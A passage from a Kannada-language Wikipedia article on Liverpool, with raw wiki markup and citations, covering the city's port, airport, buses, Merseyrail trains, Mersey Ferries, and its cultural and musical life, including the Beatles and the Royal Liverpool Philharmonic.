ಲೀಡ್ಸ್‌, ಸ್ಕಾರ್ಬೊರೊ, ಶಿಫಿಲ್ಡ್‌, ನೊಟಿಂಗ್‌ಹ್ಯಾಮ್‌, ಮತ್ತು ನೊರ್ವಿಚ್‌ ಗಳೊಂದಿಗೆ ಸಂಪರ್ಕವನ್ನು ಸಾಧಿಸುತ್ತದೆ. ನಗರದ ದಕ್ಷಿಣದಲ್ಲಿ ಲಿವರ್‌ಪೂಲ್‌ ಸೌತ್‌ ಪಾರ್ಕ್‌‌ವೇ ಯು ನಗರದ ವಿಮಾನನಿಲ್ದಾಣದೊಂದಿಗೆ ಸಂಪರ್ಕವನ್ನು ನೀಡುತ್ತದೆ. [[File:John Lennon Airport Lpool.jpg|thumb|left|ಲಿವರ್‌ಪೂಲ್‌ನ ಜಾನ್ ಲೆನನ್ ಏರ್‌ಪೋರ್ಟ್ ಟರ್ಮಿನಲ್]] ;ಪೋರ್ಟ್ ಲಿವರ್‌ಪೂಲ್‌ ಬಂದರು ಬ್ರಿಟನ್‌ನ ಬಹುದೊಡ್ಡ ಬಂದರಾಗಿದ್ದು ಪ್ರಯಾಣಿಕರಿಗೆ ಇರಿಶ್‌ ಸಾಗರದುದ್ದಕ್ಕೂ ಬೆಲ್‌ಪಾಸ್ಟ್‌, ಡಬ್ಲಿನ್‌, ಮತ್ತು ಐಸ್ಲ್ ಆಪ್‌ ಮ್ಯಾನ್‌ ಇವುಗಳಿಗೆ ಸಂಚಾರ ಸೌಲಭ್ಯವನ್ನು ಒದಗಿಸಿದೆ. ಈ ಸೇವೆಗಳನ್ನು ಹಲವಾರು ಕಂಪನಿಗಳು ನೀಡುತ್ತಿವೆ ಇದರಲ್ಲಿ ಐಸ್ಲ್‌‍ ಆಪ್‌ ಮ್ಯಾನ್‌ ಸ್ಟೀಮ್‌ ಪ್ಯಾಕೆಟ್‌ ಕಂಪನಿ, ಪಿ&amp;ಒ ಮತ್ತು ನಾರ್‌ಪಾಲ್ಕ್‌ಲೈನ್‌ಗಳು ಸೇರಿವೆ. 2007ರಲ್ಲಿ ಹೊಸದಾಗಿ ಪಿಯರ್ ಹೆಡ್‌ ನಗರದ ಮಧ್ಯಭಾಗದಲ್ಲಿ ಎರಡೂ ಕಡೆ ಕಲ್ಲಿನಿಂದ ಅಲೆ ತಡೆಯನ್ನು ಕಟ್ಟಿ ಮೋಜಿನ ಹಡಗು ಪ್ರಯಾಣಕ್ಕಾಗಿ ಒಂದು ಕೊನೆಯ ನಿಲ್ದಾಣವನ್ನೂ ಸಹ ನಿರ್ಮಿಸಲಾಗಿದೆ. ಇಲ್ಲಿ ಮೋಜಿಗಾಗಿ ಪ್ರಯಾಣ ಮಾಡುವ ಹಡಗುಗಳನ್ನು ನಿಲ್ಲಿಸಬಹುದಾಗಿದೆ(40 ಹಡಗುಗಳನ್ನು ನಿಲ್ಲಿಸಬಹುದಾದಷ್ಟು ಸ್ಥಳವನ್ನು 2009<ref>{{Cite web|title=Port of Liverpool: Introduction |publisher=[[Peel Ports]] |url=http://www.shipcanal.co.uk/port-of-liverpool/ |accessdate=2009-07-17}}</ref> ಮಾಡಲಾಗಿದೆ) ಅಟ್ಲಾಂಟಿಕ್‌ ಸಾಗರಕ್ಕಾಗಿನ ಸಂಚಾರಸೌಲಭ್ಯವನ್ನೂ ನೀಡಲಾಗಿದೆ.<ref>{{Cite web|title=Transatlantic liner on Mersey |publisher=Liverpool City Council|date=2009-05-26 |url=http://www.liverpool.gov.uk/News/newsdetail_3022.asp |accessdate=2009-07-17}} {{Dead link|date=September 2010|bot=H3llBot}}</ref> ;ವಿಮಾನ ನಿಲ್ದಾಣ ಲಿವರ್‌ಪೂಲ್‌ನ ಜಾನ್‌ ಲೆನಾನ್‌ ಏರ್‌ಪೋರ್ಟ್‌ ಇದು ನಗರದ ದಕ್ಷಿಣ ಭಾಗದಲ್ಲಿದ್ದು ಲಿವರ್‌ಪೂಲ್‌ ನಗರಕ್ಕೆ ಯುನೈಟೆಡ್‌ ಕಿಂಗ್‌ಡಮ್‌ ಹಾಗೂ ಯುರೋಪ್‌ನ ಭಾಗಗಳಿಗೆ ನೇರವಾದ ಸಂಪರ್ಕವನ್ನು ಒದಗಿಸುತ್ತದೆ. 2008ರಲ್ಲಿ ಈ ವಿಮಾನನಿಲ್ದಾಣವು 5.3 ಮಿಲಿಯನ್‌ ಪ್ರಯಾಣಿಕರನ್ನು<ref>{{Cite web|title=UK Airport Statistics: 2008 – annual |publisher=[[Civil Aviation Authority]] |url=http://www.caa.co.uk/default.aspx?catid=80&pagetype=88&sglid=3&fld=2008Annual |accessdate=2009-07-15}}</ref> ನಿರ್ವಹಿಸಿತು. ಮತ್ತು<ref>{{Cite web|title=Airlines & Tour Operators |publisher=[[Liverpool John Lennon Airport]] |date= |url=http://www.liverpoolairport.com/flight-information/airlines-and-tour-operators.html#airlines |accessdate=2009-07-23}}</ref> ಇಂದು ಅದು, [[ಬರ್ಲಿನ್|ಬರ್ಲಿನ್‌, [[ರೊಮ್‌]]]], [[ಮಿಲನ್‌]], [[ಪ್ಯಾರಿಸ್|ಪ್ಯಾರಿಸ್‌]], ಬಾರ್ಸಿಲೋನಿಯಾ,ಮತ್ತು ಜುರಿಚ್‌ಗಳನ್ನೊಳಗೊಂಡಂತೆ ೬೮ ಪ್ರದೇಶಗಳಿಗೆ ತನ್ನ ಸೇವೆಯನ್ನು ನೀಡುತ್ತಿದೆ. ಮೂಲತಹ ಇದು ಅತ್ಯಂತ ಕಡಿಮೆ ಶುಲ್ಕವುಳ್ಳ ವಿಮಾನ ಕಂಪನಿಗಳಾದ ರೈನಿಯರ್‌, ಮತ್ತು ಇಸಿಜೆಟ್‌ ನಂತಹ ಕಂಪನಿಗಳಿಂದ ನಡೆಸಲ್ಪಡುತ್ತಿದೆ. ಮತ್ತು ಬೆಸಿಗೆ ಕಾಲದಲ್ಲಿ ಬಾಡಿಗೆ ಸೌಲಭ್ಯವನ್ನೂ ನೀಡುತ್ತಿದೆ. ಇದಕ್ಕೆ ಹೊಂದಿಕೊಂಡಂತೆ [[ನೆದರ್‍ಲ್ಯಾಂಡ್ಸ್|ಡಚ್‌]] ಏರ್‌ಲೈನ್ಸ್‌ ಆದ KLM ವು JLAದಿಂದ ದಿನಕ್ಕೆ ನಾಲ್ಕು ಬಾರಿ ತನ್ನ ಸೇವೆಯನ್ನು ನೀಡುತ್ತಿದೆ ಮತ್ತು ಪ್ರಯಾಣಿಕರಿಗೆ [[ಆಂಸ್ಟರ್ಡ್ಯಾಮ್|ಆರ್ಮಸ್ಟ್‌ರ್ ಡ್ಯಾಮ್]] ಡಚ್‌ ವಿಮಾನನಿಲ್ದಾಣದ ಮಾರ್ಗವಾಗಿ ಪ್ರಪಂಚದ 800ಪ್ರದೇಶಗಳಿಗೆ ಪ್ರಯಾಣಿಸುವ ಅವಕಾಶವನ್ನು ಒದಗಿಸುತ್ತಿದೆ.<ref name="KLM increases Liverpool's JLA’s daily Amsterdam link to four flights">{{Cite web|url=http://www.liverpoolecho.co.uk/liverpool-news/local-news/2010/03/04/klm-increases-liverpool-s-jla-s-daily-amsterdam-link-to-four-flights-100252-25958340/|title=KLM increases Liverpool's JLA’s daily Amsterdam link to four flights|date=2010-03-04|publisher=Liverpool Echo|accessdate=25 March 2010}}</ref> ===ಲೋಕಲ್ ಟ್ರಾವೆಲ್‌=== [[File:Liverpool Central - Northern Line - Platforms 1 and 2 - 02.jpg|thumb|right|ನಗರದ ಒಳಭಾಗದಲ್ಲಿ ಮರ್ಸಿರೈಲ್ ನೆಟವರ್ಕ್ ಇದು ಉತ್ತಮವಾದ ಅಂತರ‍್ಭೂ ಮಾರ್ಗಗಳನ್ನು ಹೊಂದಿದೆ]] ;ಬಸ್‌ಗಳ ಸಂಚಾರ ಲಿವರ್‌ಪೂಲ್‌ನಲ್ಲಿನ ಮತ್ತು ಅದರ ಸುತ್ತಲಿನ ಪ್ರಯಾಣಕ್ಕಾಗಿನ ಬಸ್‌ ಸಂಚಾರ ವ್ಯವಸ್ಥೆಯನ್ನು ಮರ್ಸಿಸೈಡ್‌ ಟ್ರಾನ್ಸ್‌ಪೋರ್ಟ್‌ ಎಕ್ಸಿಕ್ಯೂಟಿವ್‌( ಹೆಚ್ಚಾಗಿ ಅದನ್ನು ಮರ್ಸಿಟ್ರಾವೆಲ್‌ ಎಂತಲೇ ಕರೆಯುತ್ತಾರೆ.) ನಿರ್ವಹಿಸುತ್ತದೆ ಮತ್ತು ಅರೆವಾ ಮತ್ತು ಸ್ಟಾಗ್‌ ಗಳನ್ನೊಳಗೊಂಡಂತೆ ಅನೇಕ ಕಂಪನಿಗಳಿಂದ ನಡೆಸಲ್ಪಡುತ್ತಿದೆ.<ref>{{Cite web |title=Bus Information |publisher=[[Merseytravel]] |url=http://www.merseytravel.gov.uk/information_bus.asp |accessdate=2009-07-23 |archive-date=2009-07-13 |archive-url=https://web.archive.org/web/20090713235107/http://www.merseytravel.gov.uk/information_bus.asp |url-status=dead }}</ref> ಎರಡು ಅಂತಿಮ ಬಸ್‌ ನಿಲ್ದಾಣಗಳೆಂದರೆ ಒಂದನೆಯದಾಗಿ, ನಗರದ ಪಶ್ಚಿಮ ಮತ್ತು ಉತ್ತರ ಪ್ರದೇಶದ ಸೇವೆಗಾಗಿ ಕ್ವಿನ್‌ ಸ್ಕ್ವೆರ್‌ ಬಸ್‌ ಸ್ಟೆಶನ್‌(ಲೈಮ್‌ ಸ್ಟ್ರೀಟ್‌ ಬಸ್‌ ಸ್ಟೇಷನ್‌ನ ಹತ್ತಿರ‌), ಮತ್ತು ಲಿವರ್‌ಪೂಲ್‌ ಬಸ್‌ನಿಲ್ದಾಣ, ವ್ಯಾವಹಾರಿಕವಾಗಿ ಇದನ್ನು ಪೆರಡ್ಯಾಸ್‌ ಬಸ್‌ ಇನ್‌ಚಾರ್ಜ್ ಎನ್ನುತ್ತಾರೆ (ಅಲ್ಬರ್ಟ್‌ ಡಾಕ್‌ನ ಬಳಿ ಇದೆ) ಇದು ನಗರದ ದಕ್ಷಿಣ ಮತ್ತು ಪೂರ್ವದ ಪ್ರದೇಶಗಳಿಗೆ ಸೇವೆಯನ್ನು ಒದಗಿಸುತ್ತದೆ. ನದಿ ದಾಟುವ ಸೇವೆಯು ವೈರಲ್‌ಗಳನ್ನು ಬಳಸಿಕೊಂಡಿರುವ ಅಂತಿಮ ನಿಲ್ದಾಣಗಳು ಕಾಸ್ಟಲ್‌ ಸ್ಟ್ರೀಟ್‌ ಮತ್ತು ಸರ್‌ ಥಾಮಸ್‌ ಸ್ಟ್ರೀಟ್‌ಗಳಲ್ಲಿದೆ. ಶನಿವಾರಗಳಂದು ಮಧ್ಯ ನಗರದಿಂದ ಲಿವರ್‌ಪೂಲ್‌ ಮತ್ತು ಮರ್ಸಿಸೈಡ್‌ಗಳಿಗೆ ರಾತ್ರಿ ಬಸ್‌ ವ್ಯವಸ್ಥೆಯನ್ನೂ ಸಹ ಮಾಡಲಾಗಿದೆ.<ref>{{Cite web|title=Night Bus Network |publisher=[[Merseytravel]] |url=http://www.merseytravel.gov.uk/information_bus_night-bus-network.asp |accessdate=2009-07-23|archiveurl=http://webarchive.nationalarchives.gov.uk/20110926145420/http://www.merseytravel.gov.uk/information_bus_night-bus-network.asp|archivedate=2011-09-26}}</ref> [[File:Benkid77 Mersey Ferry 120605.JPG|thumb|left|ಮರ್ಸಿಯ ಎಂ.ವಿ ರಾಯಲ್ ಐರಿಸ್ ಇದು ಲಿವರ್‌ಪೂಲ್ ಮತ್ತು ವಿರ್ರಲ್ ನಡುವೆ ನದಿಯ ಮೂಲಕ ಸಂಪರ್ಕ ಕಲ್ಪಿಸುವ ಮೂರು ಫೆರ್ರಿಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ.]] ;ರೈಲುಗಳು ಲಿವರ್‌ಪೂಲ್‌ನಲ್ಲಿ ಸ್ಥಳಿಯ ರೈಲು ಸಂಚಾರ ಜಾಲವು ಅತ್ಯಂತ ಜನನಿಬಿಡವಾಗಿದೆ{{convert|75|mi|km}} ಮತ್ತು ವ್ಯಾಪಕವಾಗಿ ಹರಡಿಕೊಂಡಿದೆ. ಮತ್ತು ಸರಿಸುಮಾರು 100,000 ಪ್ರಯಾಣಿಕರು ಒಂದು ವಾರದಲ್ಲಿ ಈ ರೈಲು ಮಾರ್ಗದ ಮೂಲಕ ಪ್ರಯಾಣ ಮಾಡುತ್ತಾರೆ.<ref name="Who are Merseyrail">{{Cite web |title=Who are Merseyrail |publisher=[[Merseyrail]] |url=http://www.merseyrail.org/about/?sGUID=2a45e2d07d59c0d621570a918cb62195 |accessdate=2009-07-23 |archive-date=2009-06-26 |archive-url=https://web.archive.org/web/20090626073949/http://www.merseyrail.org/about/?sGUID=2a45e2d07d59c0d621570a918cb62195 |url-status=dead }}</ref><ref>{{Cite web |title=Public transport |publisher=Liverpool City Council |url=http://www.liverpool.gov.uk/Transport_and_streets/Public_transport/index.asp |accessdate=2009-07-23 |archiveurl=https://web.archive.org/web/20101217221541/http://liverpool.gov.uk/Transport_and_streets/Public_transport/index.asp |archivedate=2010-12-17 |url-status=dead }}</ref> ಈ ಸೇವೆಗಳನ್ನು ಮರ್ಸಿರೈಲ್‌ ಫ್ರಾಂಚಿಸ್‌ ಮತ್ತು ಮರ್ಸಿಸೈಡ್‌ ಪ್ಯಾಸೆಂಜರ್‌ ಟ್ರಾನ್ಸ್‌ಪೋರ್ಟ್‌ ಎಕ್ಸಿಕ್ಯೂಟಿವ್‌ಗಳು ನಿರ್ವಹಿಸುತ್ತವೆ. ಈ ಜಾಲವು ಮೂರು ಮಾರ್ಗಗಳನ್ನು ಒಳಗೊಂಡಿದೆ: ಉತ್ತರದ ಮಾರ್ಗ, ಇದು ದಕ್ಷಿಣ ಬಂದರು, ಒರ್ಮ್‌‌ಸ್ಕಿರ್ಕ್‌, ಕಿರ್ಕ್‌‌ಬೈ, ಮತ್ತು ಹಂಟ್ಸ್‌ಕ್ರಾಸ್‌ಗಳ ಕಡೆ ಚಲಿಸುತ್ತದೆ. ವೈರಲ್‌ ಮಾರ್ಗ, ಇದು ಮರ್ಸಿ ರೈಲ್ವೆ ಸುರಂಗಮಾರ್ಗ ಮತ್ತು ಹೊಸ ಬ್ರಿಗ್‌ಟಾನ್‌,ಪಶ್ಚಿಮ ಕಿರ್‌ಬೈ, ಚೆಸ್ಟರ್‌ ಮತ್ತು ಎಲ್ಲೆಸ್ಮೆರ್‌ ಬಂದರುಗಳಿಗೆ ಕವಲಾಗಿ ಸಾಗುತ್ತದೆ. ಮತ್ತು ನಗರದ ಮಾರ್ಗವು ಲೈಮ್‌ ಸ್ಟ್ರೀಟ್‌ನಿಂದ ಪ್ರಾರಂಭವಾಗಿ ಸೆಂಟ್‌ ಹೆಲೆನ್ಸ್‌, ವೈಗನ್‌, ಪ್ರೆಸ್ಟಾನ್‌, ವಾರಿಂಗ್‌ಟನ್‌ ಮತ್ತು [[ಮ್ಯಾಂಚೆಸ್ಟರ್|ಮಾಂಚೆಸ್ಟರ್‌]]ಗಳಿಗೆ ಸಂಪರ್ಕವನ್ನು ನೀಡುತ್ತದೆ. ಇನ್ನೊಂದು ಗಮನಿಸಬೇಕಾದ ಅಂಶವೆಂದರೆ ನಗರ ಪ್ರದೇಶಗಳಲ್ಲಿನ ಸ್ಥಳೀಯ ರೈಲು ಸಂಚಾರ ವ್ಯವಸ್ಥೆಯನ್ನು ಮರ್ಸಿರೈಲ್‌ಗೆ ಬದಲಾಗಿ ನಾರ್ಥನ್‌ ರೈಲ್‌ ನೋಡಿಕೊಳ್ಳುತ್ತದೆ. ಆದಾಗ್ಯೂ ಇದು ಮರ್ಸಿರೈಲ್‌ನ ಒಂದು ಅಂಗವಾಗಿದೆ. ನಗರದ ಮಧ್ಯಭಾಗದಲ್ಲಿನ ರೈಲು ಮಾರ್ಗಗಳು ಹೆಚ್ಚಾಗಿ ನೆಲದಡಿಯ ಮಾರ್ಗಗಳಾಗಿವೆ.{{convert|6.5|mi|km}} ಸುರಂಗಳನ್ನು ಒಳಗೊಂಡಂತೆ ಐದು ನಗರ ಮಧ್ಯನಿಲ್ದಾಣಗಳನ್ನು ಒಳಗೊಂಡಿದೆ.<ref name="Who are Merseyrail" /> ;ಮರ್ಸಿ ಫೆರ್ರಿ ಲಿವರ್‌ಪೂಲ್‌ನಲ್ಲಿನ ದೋಣಿವಿಹಾರ ಸೇವೆಯನ್ನು ಮರ್ಸಿ ಫೆರಿ ಎಂದು ಕರೆಯುತ್ತಾರೆ ಇದನ್ನು ಮರ್ಸಿಟ್ರಾವೆಲ್‌ ಇವರಿಂದ ನಡೆಸಲ್ಪಡುತ್ತದೆ. ಲಿವರ್‌ಪೂಲ್‌ನ ಪೆರ್‌ ಹೆಡ್‌ ಮತ್ತು ಬಿರ್ಕನ್‌ಹೆಡ್‌ನಲ್ಲಿನ ವುಡ್‌ಸೈಡ್‌ ಮತ್ತು ವೆಲ್ಲೆಸ್ಲಿಯಲ್ಲಿನ ಸೀಕೊಂಬೆಗಳ ನಡುವೆ ಸೇವೆಯನ್ನು ನೀಡುತ್ತದೆ. ದಿನದ ಮಧ್ಯದಲ್ಲಿ ಮತ್ತು ವಾರದ ಕೊನೆಯಲ್ಲಿ ಒಂದು ಗಂಟೆಗೆ 20 ನಿಮಿಷಗಳ ಮಧ್ಯಂತರ ಕಾಲಾವಧಿಯನ್ನು ನೀಡುತ್ತಾ ಸೇವೆಯನ್ನು ನೀಡುತ್ತದೆ.<ref>{{Cite web |title=Complete Timetable |publisher=[[Mersey Ferries]] |url=http://www.merseyferries.co.uk/timetable/index.aspx |accessdate=2009-07-28 |archive-date=2009-07-22 |archive-url=https://web.archive.org/web/20090722083007/http://www.merseyferries.co.uk/timetable/index.aspx |url-status=dead }}</ref> ನಗರ ಮತ್ತು ವೈರಲ್‌ ಪೆನಿನ್‌ಸುಲಾ ನಡುವೆ ಒಂದು ಉತ್ತಮ ಸಂಚಾರದ ವ್ಯವಸ್ಥೆಯ ಹೊರತಾಗಿ ಮರ್ಸಿ ಫೆರಿಯು ದಿನದ ವೇಳೆಯಲ್ಲಿ ಪ್ರವಾಸಿಗರಿಗೆ ಮೋಜಿನ ಹಡಗು ಪ್ರಯಾಣ ಸೇವೆಯನ್ನು ಒದಗಿಸುತ್ತಾ ಒಂದು ಪ್ರವಾಸಿಗರ ಬಹುಮುಖ್ಯ ಆಕರ್ಷಣೀಯ ಸ್ಥಳವಾಗಿದೆ.<ref>{{Cite web |title=River Explorer Cruises |publisher=[[Mersey Ferries]] |url=http://www.merseyferries.co.uk/river-explorer/index.aspx |accessdate=2009-07-28 |archive-date=2010-07-23 |archive-url=https://web.archive.org/web/20100723133715/http://www.merseyferries.co.uk/river-explorer/index.aspx |url-status=dead }}</ref> ==ಸಂಸ್ಕೃತಿ== [[File:The Fabs.JPG|right|thumb|ಲಿವರ್‌ಪೂಲ್ ಇದು ಬೀಟ್ಲ್ಸ್‌ನ ಹುಟ್ಟುಸ್ಥಳ]] [[File:Echo Arena Liverpool at night.jpg|thumb|ದಿ ಎಕೊ ಅರೆನಾ]] {{Main|Culture of Liverpool}} ಇತರ ದೊಡ್ಡ ನಗರಗಳೊಂದಿಗೆ ಲಿವರ್‌ಪೂಲ್‌ ಕೂಡ ಸಂಗೀತ, ಸಾಹಿತ್ಯ, ಕಲೆ, ಸಂಗ್ರಹಾಲಯಗಳು ಮತ್ತು ಕಲಾ ಸಂಗ್ರಹಳನ್ನೊಳಗೊಂಡು ಯುನೈಟೆಡ್‌ ಕಿಂಗ್‌ಡಮ್‌ನ ಬಹುಮುಖ್ಯ ಸಾಂಸ್ಕ್ರತಿಕ ಕೆಂದ್ರವಾಗಿದೆ. 2008ರಲ್ಲಿ ಲಿವರ್‌ಪೂಲ್‌ ನಗರವನ್ನು ಯುರೋಪ್‌ನ ಸಾಂಸ್ಕ್ರತಿಕ ನಗರವೆಂದು ಘೋಷಿಸಿ ಪುರಸ್ಕರಿಸುವುದರೊಂದಿಗೆ ಸಂಭ್ರಮಾಚರಣೆಯನ್ನು ಮಾಡಲಾಯಿತು. ಈ ಸಂದಂರ್ಭದಲ್ಲಿ ಅನೇಕ ಕಾರ್ಯಕ್ರಮಗಳ ಜೊತೆಗೆ ಗೊ ಸುಪರ್‌ ಲಾಂ ಬಾನಾನಾಸ್‌ ಕಾರ್ಯಕ್ರಮ ಕೂಡ ಏರ್ಪಡಿಸಲಾಗಿತ್ತು. ಮತ್ತು ಲಾ ಪ್ರಿನ್ಸೆಸ್ ಒಳಗೊಂಡಂತೆ ಹಲವಾರು ಸಾಂಸ್ಕ್ರತಿಕ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಹಮ್ಮಿಕೊಳ್ಳಲಾಯಿತು. ===ಸಂಗೀತ=== {{Main|Music of Liverpool|Beat music}} ಲಿವರ್‌ಪೂಲ್‌ ನಗರವು ಸಂಗೀತ ಕ್ಷೇತ್ರದಲ್ಲಿ ಅತ್ಯಂತ ಮಹತ್ತರವಾದ ಸಾಧನೆಯನ್ನು ಮಾಡಿ [[ಗಿನ್ನೆಸ್ ದಾಖಲೆಗಳ ಪುಸ್ತಕ|ಅಂತರಾಷ್ಟ್ರೀಯ ಮಟ್ಟದಲ್ಲಿ ಗಿನ್ನಿಸ್‌ ಪುಸ್ತಕ]]ದಲ್ಲಿ ''"ವಲ್ಡ್‌ ಕೆಪಿಟಲ್‌ ಆಪ್‌ ಪೋಪ್‌"'' (World Capital City of Pop)ಎಂದು ದಾಖಲೆಯನ್ನು ಸೃಷ್ಠಿಸಿದೆ.<ref>{{cite web|url=http://www.visitliverpool.com/site/experiences/liverpool-rocks|title=Liverpool Rocks|publisher=''VisitLiverpool.com''|accessdate=9 March 2010}}</ref> ಈ ನಗರವು 56 ಹಾಡುಗಾರರನ್ನು ಜಗತ್ತಿಗೆ ಕೊಡುಗೆಯಾಗಿ ನೀಡಿ ಜಗತ್ತಿನಲ್ಲಿ ಯಾವುದೇ ನಗರವು ಮಾಡದ ಸಾಧನೆಯನ್ನು ಮಾಡಿದೆ.<ref>{{cite web|url=http://www.liverpoolecho.co.uk/liverpool-news/local-news/2009/11/16/liverpool-bids-to-be-unesco-city-of-music-100252-25175804/|title=Liverpool bids to be UNESCO City of Music|date=2009-11-16|publisher=''[[Liverpool Echo]]''|accessdate=9 March 2010}}</ref><ref>{{cite web|url=http://www.liverpool.gov.uk/News/archive/november/newsdetail_3269.asp|title=City bids for UNESCO music title|date=2009-11-16|publisher=''[[Liverpool City Council]]''|accessdate=9 March 2010}}</ref> ಜಗತ್ತಿನಲ್ಲಿ ಹೆಸರುವಾಸಿಯಾದ[[ದಿ ಬೀಟಲ್ಸ್|ಗಂಡಸರ]] ಮತ್ತು ಹೆಂಗಸರ ಎರಡೂ ಗುಂಪು ಹಾಡುಗಾರರ ತಂಡವೂ ಲಿವರ್‌ಪೂಲಿನ ಸದಸ್ಯರನ್ನು ಹೊಂದಿದವೇ ಆಗಿವೆ. ಲಿವರ್‌ಪೂಲ್‌ [[ದಿ ಬೀಟಲ್ಸ್|ಬೀಟಲ್ಸ್‌]]ನ ಜನ್ಮಪ್ರದೇಶವಾಗಿದ್ದು 1960ರ ದಶಕದ ಬೀಟ್ ಮ್ಯೂಸಿಕ್‌ನ ಚಳುವಳಿಗೆ ಸಾಕ್ಷಿಯಾಯಿತು ಮತ್ತು ಇದು ಬ್ರಿಟಿಷ್‌ ಸ್ವಾಮ್ವಿತ್ವಕ್ಕೆ ಪ್ರೇರಣೆಯಾಯಿತು. ಹೆಸರಿಸಬಹುದಾದ ಅತ್ಯಂತ ಪ್ರಸಿದ್ದ ಸಂಗಿತಜ್ಞರಲ್ಲಿ, ಬಿಲ್ಲಿ ಜೆ ಕ್ರಾಮರ್‌, ಸಿಲ್ಲಾ ಬ್ಲಾಕ್‌, ಜೆರ್ರಿ & ಫೆಸ್‌ ಮೆಕರ್ಸ್‌ ಮತ್ತು ಸರ್ಚರ್‌ ಇವರುಗಳೂ ಇದ್ದಾರೆ. ಲಿವರ್‌ಪೂಲಿನ ಸಂಗೀತ ಸಂಸ್ಕ್ರತಿಯು ಆ ಕಾಲದ ಸಾಂಸ್ಕ್ರತಿಕ ನಡಾವಳಿಕೆಗಳಲ್ಲಿ ಹಾಸುಹೊಕ್ಕಾಗಿದ್ದು, ವಿಧವಿಧವಾಗಿ ಹೋಲಿಕೆ ಮಾಡಲಾಗುತ್ತದೆ ಉದಾಹರಣಗೆ ’ಲಿವರ್‌ ಪೂಲ್‌ ಸಾಹಿತಿಗಳು’, ಅಮೆರಿಕಾದಿಂದ ಪೋಷಿಸಲ್ಪಟ್ಟ ಸಾಹಿತಿಯಾದ ಅಲ್ಲೆನ್‌ ಜಿನ್ಸ್‌ಬರ್ಗ್‌ ಇವರು ಈ ನಗರವನ್ನು "ದಿ ಸೆಂಟರ್‌ ಆಪ್‌ ಕಾನ್ಸಿಯಸ್‌ನೆಸ್‌ ಆಪ್‌ ದಿ ಹ್ಯೂಮನ್‌ ಯುನಿವರ್ಸ್‌" ಎಂದು ಹೇಳಿದ್ದಾರೆ.<ref>{{Cite news|url=https://www.theguardian.com/culture/2007/feb/21/europeancapitalofculture2008.liverpool|title='It's like San Francisco – with greyer weather'|date=2007-02-21|publisher=The Guardian|accessdate=9 March 2010 | location=London | first=Alfred | last=Hickling}}</ref> ಲಿವರ್‌ಪೂಲ್‌ ಹೊಂದಿರುವ ಇತರ ಸಂಗಿತಜ್ಞರೆಂದರೆ ಬಿಲ್ಲಿ ಫುರಿ, ಎ ಪೊಕ್‌ ಆಪ್‌ ಸೀಗಲ್ಸ್‌, ಎಕೊ ಎಂಡ್‌ ಬನ್ನಿಮೆನ್‌, ಫ್ರಾಂಕಿ ಗೊಸ್‌ ಟು ಹಾಲಿವುಡ್‌, ಫ್ರಾಂಕಿ ವಾಹನ್‌ ಮತ್ತು ಈಗಿನ ಸದ್ಯದಲ್ಲಿ ದಿ ಝೂಟೊನ್ಸ್‌, ಅಟೊಮೆಟಿಕ್‌ ಕಿಟನ್‌ ಮತ್ತು ಹೈದಿರೆಂಜ್‌ಗಳಾಗಿವೆ. ಈ ನಗರವು ಹಳೆಯ ಭಾಷಣ ಮಿಶ್ರಿತ ಸಂಗೀತ ಕೃತಿಗಳಿಗೆ ಮತ್ತು ಈ ಮಾದರಿಯ ಕಸುಬುದಾರ ವಾದ್ಯಮೇಳಗಳಿಗೆ ಯುನೈಟೆಡ್‌ ಕಿಂಗ್‌ಡಮ್‌ನ ಫಿಲ್‌ಹಾರ್ಮೊನಿಕ್ ಹಾಲ್‌ ತವರುಮನೆಯಾಗಿದೆ.<ref>{{Cite web|url=http://www.liverpoolphil.com/116/the-orchestra/musicmaking-at-home-and-abroad.html|title=The Orchestra|publisher=[[Liverpool Philharmonic]]|accessdate=10 March 2010}}</ref> ರಾಯಲ್‌ ಲಿವರ್‌ಪೂಲ್‌ ಫಿಲ್ಲಾರ್‌ಮೊನಿಕ್‌ ಆರ್ಕೆಸ್ಟ್ರಾ ಇದು ಫಿಲ್ಲಾರ್‌ಮೊನಿಕ್‌ ಹಾಲ್‌ನ್ನು ಅವಲಂಬಿಸಿದೆ. ಈಗಿನ ಆರ್ಕೆಸ್ಟ್ರಾದ ಹಿರಿಯ ಮೇಲ್ವಿಚಾರಕರು ವೈಸಿಲಿ ಪೆಟ್ರೆಂಕೋ ಆಗಿದ್ದಾರೆ.<ref>{{Cite web|url=http://www.liverpoolphil.com/286/our-history/royal-liverpool-philharmonic-orchestra.html|title=Royal Liverpool Philharmonic Orchestra|publisher=[[Liverpool Philharmonic]]|accessdate=10 March 2010}}</ref> ಸರ್‌ ಎಡ್ವರ್ಡ್‌ ಎಲ್‌ಗಾರ್‌ ಅವರು ಅವರ ವೈಭವದ ಪ್ರದರ್ಶನ ಮತ್ತು ತಮ್ಮ ಸಂಪೂರ್ಣ ಕೊಡುಗೆಯಾದ ಪಾಂಪ್ ಆಂಡ್ ಸರ್ಕಮ್‌ಸ್ಟನ್ಸ್ ಮಾರ್ಚ್‌ ನಂ.1 ನ್ನು ಲಿವರ್‌ಪೂಲ್‌ ಆರ್ಕೆಸ್ಟ್ರಾ ಸೊಸೈಟಿಗೆ ದಾರೆಯೆರೆದಿದ್ದಾರೆ. ಮತ್ತು ಇದು ತನ್ನ ಪ್ರಪ್ರಥಮ ಕಾರ್ಯಕ್ರವನ್ನು ಈ ನಗರದಲ್ಲಿ 1901ರಲ್ಲಿ ನೀಡಿತು.{{Citation needed|date=March 2010}} ಲಿವರ್‌ಪೂಲ್‌ನ ಆಶ್ಚರ್ಯಕರ ಘಟನೆಗಳಲ್ಲಿ ಆಸ್ಟ್ರೇಲಿಯನ್‌ ಎಮಿಗ್ರೆ ಫ್ರಿಜ್‌ ಸ್ಪಿಗ್ಲಿಯನ್ನು ಸ್ಮರಿಸಬಹುದು. ಅವರು ಕೇವಲ ಕ್ಸೌಸ್‌ನ ನಿಷ್ಟತ್ತಿಶಾಸ್ತ್ರ(etymology)ದಲ್ಲಿ ಮಾತ್ರ ಚಾಣಾಕ್ಷರಾಗಿರಲಿಲ್ಲ ಬದಲಾಗಿ ಸಂಗಿತಕ್ಕೆ Z-ಕಾರ್ಸ್ ಮತ್ತು ರೆಡಿಯೊ 4ಯುಕೆ ಥೀಮ್‌ಗಳಿಗೂ ಸಂಗಿತ ನಿರ್ದೆಶಿಸಿದ್ದಾರೆ. ಮೆಥಿವ್‌ ಸ್ಟ್ರೀಟ್‌ ಹಬ್ಬವು ಒಂದು ನಗರದ ವಾರ್ಷಿಕ ಹಬ್ಬವಾಗಿದ್ದು 